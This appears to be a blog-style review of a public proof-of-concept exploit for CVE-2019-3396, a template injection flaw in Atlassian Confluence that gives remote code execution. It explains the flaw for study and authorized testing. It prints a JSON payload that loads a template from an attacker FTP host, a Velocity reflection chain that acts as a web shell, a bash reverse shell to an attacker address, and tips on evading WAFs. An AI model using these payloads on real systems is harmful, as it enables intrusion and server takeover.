Back to Articles

Inside CVE-2019-3396: How Velocity Template Injection Turned Confluence Into a Remote Shell

[ View on GitHub ]

Inside CVE-2019-3396: How Velocity Template Injection Turned Confluence Into a Remote Shell

Hook

A single JSON POST request to a wiki preview endpoint could grant complete server control—no authentication required. This is how Atlassian's most critical 2019 vulnerability worked.

Context

In March 2019, Atlassian disclosed CVE-2019-3396, a critical unauthenticated remote code execution vulnerability affecting Confluence Server and Data Center. The flaw resided in the Widget Connector macro, a feature designed to embed rich media content from external sources. When developers implemented the macro preview functionality, they inadvertently created a path traversal vulnerability in the _template parameter that accepted external resources via FTP protocol.

The vulnerability combined three dangerous elements: unauthenticated access to the TinyMCE macro preview endpoint, the ability to reference arbitrary external templates, and the power of Apache Velocity's template engine running with full Java reflection capabilities. This perfect storm meant attackers could host a malicious Velocity template on any accessible FTP server, reference it through the preview endpoint, and execute arbitrary Java code on the Confluence server—all without valid credentials. The jas502n/CVE-2019-3396 repository provides a proof-of-concept exploit demonstrating these attack vectors, serving as both a penetration testing tool for legacy systems and an educational resource for understanding Server-Side Template Injection (SSTI) vulnerabilities.

Technical Insight

Confluence Server

1. Hosts malicious .vm template
2. Sends crafted JSON payload
3. Parses Widget Connector macro
4. Reads _template parameter
5. Retrieves template via FTP
6. Passes template content
7. Executes Java reflection
8. Runs system command
9. Returns output
10. Returns result
11. Command output/shell

Attacker

FTP Server

Confluence /rest/tinymce/1/macro/preview

TinyMCE Macro Handler

Template Fetcher

Velocity Engine

Runtime.exec

Target OS

System architecture — auto-generated

The exploit architecture relies on Confluence's /rest/tinymce/1/macro/preview endpoint, which processes JSON payloads containing macro configuration data. The vulnerable code path occurs when the Widget Connector macro processes a contentProperties object with a specially crafted _template parameter. Instead of validating that templates come from trusted local sources, the implementation allowed protocol handlers including file:// for local file disclosure and ftp:// for remote template inclusion.

Here's the core exploit payload structure that triggers the vulnerability:

data = {
    "contentId": "786457",
    "macro": {
        "name": "widget",
        "body": "",
        "params": {
            "url": "https://www.viddler.com/v/23464dc",
            "width": "1000",
            "height": "1000",
            "_template": "ftp://attacker.com/poc.vm"
        }
    }
}

The _template parameter tells Confluence to fetch and render a Velocity template from the attacker's FTP server. Once retrieved, the Velocity engine processes the template with full access to Java's reflection API. The malicious template leverages this to instantiate Runtime objects and execute system commands:

#set($x=''
+ $request.getClass().forName('java.lang.Runtime')
  .getMethod('getRuntime', null)
  .invoke(null, null)
  .exec($request.getParameter('cmd'))
  .getInputStream())

#set($c=''
+ $request.getClass().forName('java.io.BufferedReader')
  .getConstructor($request.getClass().forName('java.io.Reader'))
  .newInstance(
    $request.getClass().forName('java.io.InputStreamReader')
      .getConstructor($request.getClass().forName('java.io.InputStream'))
      .newInstance($x)
  ))

#foreach($line in $c.lines().toArray())
  $line
#end

This Velocity template constructs a complete Java reflection chain without directly referencing prohibited classes. It starts by obtaining the Runtime singleton, executes a command passed via URL parameter, captures the InputStream from the process, wraps it in an InputStreamReader and BufferedReader for line-by-line processing, and iterates through the output using Velocity's foreach directive. The result is command execution with full output capture—essentially a web shell disguised as template rendering.

The repository includes three primary attack vectors. The first demonstrates local file disclosure using file:///etc/passwd as the template source, which can expose sensitive configuration files. The second shows command execution through FTP-hosted templates, requiring the attacker to run a simple FTP server (the repository suggests pyftpdlib). The third implements reverse shell capabilities using bash process substitution:

/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1

One particularly clever aspect is the header manipulation. Some Confluence versions validate the Referer header to prevent CSRF attacks. The exploit includes logic to dynamically set the Referer to match the target domain, bypassing this protection. The tool also demonstrates payload encoding techniques—wrapping commands in base64 to avoid character encoding issues and WAF detection.

The underlying vulnerability teaches an important lesson about template engines in web applications. Velocity templates were designed for server-side rendering with trusted input, not for processing user-controlled data. When developers exposed template selection to HTTP parameters without proper validation, they effectively gave attackers a Java REPL with server privileges. Modern frameworks have learned this lesson—template engines now run in sandboxed contexts with restricted class access, and external resource loading requires explicit whitelisting.

Gotcha

The exploit's effectiveness is highly dependent on environmental factors that limit its real-world applicability. First, you need network reachability to host an FTP server that the target Confluence instance can access. Many enterprise environments block outbound FTP connections at the perimeter firewall or through egress filtering, making the remote template inclusion vector unusable. The local file disclosure via file:// protocol still works in these scenarios, but you're limited to reading files rather than executing commands.

Second, the Java reflection chains assume standard JVM class availability. In hardened or containerized environments with custom security managers or restricted class loaders, the Runtime.exec() invocation may fail. Some organizations deploy Java applications with security policies that explicitly deny reflection access to sensitive packages like java.lang.Runtime. The exploit also produces verbose error output when it fails, which could trigger intrusion detection systems monitoring application logs for Java stack traces containing reflection-related exceptions.

Finally, and most critically, this vulnerability was patched in March 2019. Any Confluence instance running version 6.6.13, 6.12.4, 6.13.4, 6.14.3, or later is completely immune. The repository serves educational and penetration testing purposes for legacy systems, but you'll rarely encounter vulnerable instances in production environments that maintain even basic patching hygiene. The tool also lacks sophistication compared to modern exploitation frameworks—there's no automatic payload generation, no session management, and no post-exploitation modules. It's a proof-of-concept rather than a production-ready exploitation tool.

Verdict

Use if: You're conducting authorized penetration tests against legacy Confluence installations from 2019 or earlier, studying Server-Side Template Injection vulnerabilities to understand attack patterns for security training, or need a simple POC to validate whether a specific Confluence instance requires emergency patching. This tool excels as an educational resource demonstrating how template engines can become attack vectors when exposed to untrusted input. Skip if: You're assessing modern Confluence deployments (anything patched after March 2019), need a maintained exploitation framework with post-exploitation capabilities, work in environments with strict egress filtering that blocks FTP, or require automated vulnerability scanning—use Nuclei templates or Metasploit's more robust modules instead. Never use this for unauthorized access; it's strictly for legitimate security research and authorized testing.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/developer-tools/jas502n-cve-2019-3396.svg)](https://starlog.is/api/badge-click/developer-tools/jas502n-cve-2019-3396)